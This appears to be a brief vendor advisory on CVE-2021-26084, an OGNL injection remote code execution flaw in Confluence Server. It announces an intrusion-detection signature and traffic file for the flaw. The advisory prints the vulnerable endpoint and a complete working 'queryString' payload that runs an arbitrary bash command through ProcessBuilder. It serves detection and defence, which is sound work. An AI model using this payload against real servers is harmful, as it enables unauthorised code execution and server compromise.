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Remote Code Execution on Confluence Servers (CVE-2021-26084)

Application Description

Create, collaborate, and organize all your work in one place. Confluence is a team workspace where knowledge and collaboration meet. Dynamic pages give your team a place to create, capture, and collaborate on any project or idea.


An OGNL injection vulnerability exists that would allow an authenticated user, and in some instances unauthenticated user, to execute arbitrary code on a Confluence Server or Data Center instance.


The proof of concept code identifies a POST request and the vulnerable parameter 'queryString'.

POST /pages/doenterpagevariables.action

PAYLOAD - queryString=aaa\u0027%2b#{\u0022\u0022[\u0022class\u0022].forName(\u0022javax.script.ScriptEngineManager\u0022).newInstance().getEngineByName(\u0022js\u0022).eval(\u0022var  x=new  java.lang.ProcessBuilder;x.command([\u0027/bin/bash\u0027,\u0027-c\u0027,\u0027'.$cmd.'\u0027]);x.start()\u0022)}%2b\u0027


By turning this into a traffic file and matching rule, we are able to detect attempts to influence the vulnerable parameter with code execution.


Idappcom has created signature 8021769 along with a traffic file.


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